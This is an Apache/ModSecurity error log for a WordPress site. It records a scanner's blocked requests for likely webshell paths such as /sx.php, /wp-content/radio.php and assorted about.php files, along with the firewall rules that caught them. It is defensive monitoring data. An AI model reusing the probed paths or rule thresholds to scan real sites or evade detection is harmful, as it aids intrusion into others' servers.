[Fri Jan 02 07:29:30.991767 2026] [:error] [pid 63208:tid 63218] [client 172.161.146.188:14600] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVcDWnKLI9INGPLzfneu6AAAAMc"]
[Fri Jan 02 07:29:31.660822 2026] [:error] [pid 63099:tid 63150] [client 172.161.146.188:5102] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVcDW8mCZokRPYUhzvg38AAAAFA"]
[Fri Jan 02 07:29:32.159955 2026] [:error] [pid 63098:tid 63109] [client 172.161.146.188:4993] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVcDXMez9k78gUs48kqy2gAAAAI"]
[Fri Jan 02 07:29:32.751843 2026] [:error] [pid 63100:tid 63174] [client 172.161.146.188:5025] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVcDXDuUXUKd3KTnKl--dwAAAI0"]
[Fri Jan 02 07:29:33.398599 2026] [:error] [pid 63100:tid 63167] [client 172.161.146.188:5007] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVcDXTuUXUKd3KTnKl--egAAAIY"]
[Fri Jan 02 07:29:33.997006 2026] [:error] [pid 63100:tid 63179] [client 172.161.146.188:5087] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVcDXTuUXUKd3KTnKl--ewAAAJI"]
[Fri Jan 02 07:29:34.605871 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:14712] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVcDXnKLI9INGPLzfneu7wAAAMQ"]
[Fri Jan 02 07:29:35.283329 2026] [:error] [pid 63100:tid 63175] [client 172.161.146.188:5062] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVcDXzuUXUKd3KTnKl--fQAAAI4"]
[Fri Jan 02 07:29:35.882010 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:5107] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVcDX3KLI9INGPLzfneu9wAAAMI"]
[Fri Jan 02 07:29:36.393738 2026] [:error] [pid 63208:tid 63211] [client 172.161.146.188:4931] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVcDYHKLI9INGPLzfnevDwAAAMA"]
[Fri Jan 02 07:29:37.068379 2026] [:error] [pid 63100:tid 63166] [client 172.161.146.188:14603] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVcDYTuUXUKd3KTnKl--kQAAAIU"]
[Fri Jan 02 07:29:37.782605 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:5067] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVcDYXKLI9INGPLzfnevLwAAAMg"]
[Fri Jan 02 07:30:05.251182 2026] [:error] [pid 63098:tid 63111] [client 172.161.146.188:14694] [client 172.161.146.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.146.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVcDfcez9k78gUs48kqy-wAAAAQ"]
[Fri Jan 02 07:30:10.731718 2026] [:error] [pid 63098:tid 63110] [client 172.161.146.188:14694] [client 172.161.146.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.146.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVcDgsez9k78gUs48kqzEgAAAAM"]
[Fri Jan 02 07:30:16.169894 2026] [:error] [pid 63099:tid 63153] [client 172.161.146.188:5024] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVcDiMmCZokRPYUhzvg4TQAAAFM"]
[Fri Jan 02 07:30:22.214707 2026] [:error] [pid 63208:tid 63232] [client 172.161.146.188:5019] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVcDjnKLI9INGPLzfnev8AAAANU"]
[Fri Jan 02 07:30:30.224371 2026] [autoindex:error] [pid 63098:tid 63127] [client 172.161.146.188:14694] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 02 07:30:30.460281 2026] [:error] [pid 63099:tid 63138] [client 172.161.146.188:5095] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aVcDlsmCZokRPYUhzvg4bQAAAEQ"]
[Fri Jan 02 07:30:39.555844 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:14694] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVcDn3KLI9INGPLzfnewDAAAAMQ"]
[Fri Jan 02 07:30:43.934195 2026] [:error] [pid 63100:tid 63163] [client 172.161.146.188:5028] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVcDozuUXUKd3KTnKl--_wAAAII"]
[Fri Jan 02 07:30:44.717878 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:14702] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVcDpHKLI9INGPLzfnewDwAAAMg"]
[Fri Jan 02 07:30:45.301421 2026] [:error] [pid 63099:tid 63135] [client 172.161.146.188:5002] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVcDpcmCZokRPYUhzvg4fwAAAEE"]
[Fri Jan 02 07:30:45.914461 2026] [:error] [pid 63099:tid 63151] [client 172.161.146.188:5074] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aVcDpcmCZokRPYUhzvg4gQAAAFE"]
[Fri Jan 02 07:30:46.535967 2026] [:error] [pid 63099:tid 63149] [client 172.161.146.188:5023] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVcDpsmCZokRPYUhzvg4gwAAAE8"]
[Fri Jan 02 07:30:47.109681 2026] [:error] [pid 63098:tid 63120] [client 172.161.146.188:5043] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVcDp8ez9k78gUs48kqzQwAAAA0"]
[Fri Jan 02 07:30:47.608731 2026] [:error] [pid 63098:tid 63130] [client 172.161.146.188:5113] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVcDp8ez9k78gUs48kqzRgAAABc"]
[Fri Jan 02 07:30:48.104255 2026] [:error] [pid 63098:tid 63113] [client 172.161.146.188:4929] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aVcDqMez9k78gUs48kqzSQAAAAY"]
[Fri Jan 02 07:30:48.761986 2026] [:error] [pid 63098:tid 63114] [client 172.161.146.188:5039] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVcDqMez9k78gUs48kqzSwAAAAc"]
[Fri Jan 02 07:30:49.594170 2026] [:error] [pid 63099:tid 63134] [client 172.161.146.188:5021] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVcDqcmCZokRPYUhzvg4iwAAAEA"]
[Fri Jan 02 07:30:50.272303 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:5003] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVcDqsez9k78gUs48kqzTwAAAA8"]
[Fri Jan 02 07:30:50.852243 2026] [:error] [pid 63099:tid 63143] [client 172.161.146.188:5079] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVcDqsmCZokRPYUhzvg4jgAAAEk"]
[Fri Jan 02 07:30:51.757912 2026] [:error] [pid 63099:tid 63148] [client 172.161.146.188:14618] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVcDq8mCZokRPYUhzvg4kQAAAE4"]
[Fri Jan 02 07:30:52.714535 2026] [:error] [pid 63099:tid 63147] [client 172.161.146.188:14691] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVcDrMmCZokRPYUhzvg4kwAAAE0"]
[Fri Jan 02 07:30:53.344712 2026] [:error] [pid 63099:tid 63139] [client 172.161.146.188:4940] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVcDrcmCZokRPYUhzvg4lgAAAEU"]
[Fri Jan 02 07:30:53.864176 2026] [:error] [pid 63099:tid 63152] [client 172.161.146.188:14610] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aVcDrcmCZokRPYUhzvg4lwAAAFI"]
[Fri Jan 02 07:30:54.382315 2026] [:error] [pid 63099:tid 63141] [client 172.161.146.188:5080] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aVcDrsmCZokRPYUhzvg4mwAAAEc"]
[Fri Jan 02 07:30:55.031261 2026] [:error] [pid 63100:tid 63178] [client 172.161.146.188:5083] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aVcDrzuUXUKd3KTnKl-_AgAAAJE"]
[Fri Jan 02 07:30:55.706514 2026] [:error] [pid 63100:tid 63167] [client 172.161.146.188:5088] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aVcDrzuUXUKd3KTnKl-_BQAAAIY"]
[Fri Jan 02 07:30:56.229051 2026] [:error] [pid 63099:tid 63136] [client 172.161.146.188:5006] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aVcDsMmCZokRPYUhzvg4ngAAAEI"]
[Fri Jan 02 07:30:57.179694 2026] [:error] [pid 63208:tid 63217] [client 172.161.146.188:14680] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVcDsXKLI9INGPLzfnewHQAAAMY"]
[Fri Jan 02 07:30:58.167684 2026] [:error] [pid 63208:tid 63214] [client 172.161.146.188:4888] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVcDsnKLI9INGPLzfnewHwAAAMM"]
[Fri Jan 02 07:30:58.912948 2026] [:error] [pid 63098:tid 63115] [client 172.161.146.188:5004] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVcDssez9k78gUs48kqzWwAAAAg"]
[Fri Jan 02 07:30:59.888248 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:5105] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aVcDs3KLI9INGPLzfnewIwAAAMQ"]
[Fri Jan 02 07:31:01.374687 2026] [:error] [pid 63208:tid 63229] [client 172.161.146.188:5115] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVcDtXKLI9INGPLzfnewKAAAANI"]
[Fri Jan 02 07:31:02.031599 2026] [:error] [pid 63099:tid 63144] [client 172.161.146.188:14697] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVcDtsmCZokRPYUhzvg4pgAAAEo"]
[Fri Jan 02 07:31:02.687186 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:4997] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVcDtjuUXUKd3KTnKl-_DgAAAIE"]
[Fri Jan 02 07:31:03.348375 2026] [:error] [pid 63208:tid 63217] [client 172.161.146.188:4987] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aVcDt3KLI9INGPLzfnewLAAAAMY"]
[Fri Jan 02 07:31:04.043154 2026] [:error] [pid 63098:tid 63117] [client 172.161.146.188:5111] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVcDuMez9k78gUs48kqzYgAAAAo"]
[Fri Jan 02 07:31:04.914208 2026] [:error] [pid 63099:tid 63154] [client 172.161.146.188:4995] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVcDuMmCZokRPYUhzvg4rAAAAFQ"]
[Fri Jan 02 07:31:05.532050 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:5033] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVcDuXKLI9INGPLzfnewLgAAAMI"]
[Fri Jan 02 07:31:06.117054 2026] [:error] [pid 63099:tid 63151] [client 172.161.146.188:5055] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aVcDusmCZokRPYUhzvg4sAAAAFE"]
[Fri Jan 02 07:31:06.768039 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:5045] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aVcDunKLI9INGPLzfnewMQAAAMQ"]
[Fri Jan 02 07:31:07.402400 2026] [:error] [pid 63208:tid 63234] [client 172.161.146.188:4946] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVcDu3KLI9INGPLzfnewMgAAANc"]
[Fri Jan 02 07:31:08.117638 2026] [:error] [pid 63208:tid 63223] [client 172.161.146.188:5013] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVcDvHKLI9INGPLzfnewMwAAAMw"]
[Fri Jan 02 07:31:08.732238 2026] [:error] [pid 63100:tid 63178] [client 172.161.146.188:4938] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aVcDvDuUXUKd3KTnKl-_HwAAAJE"]
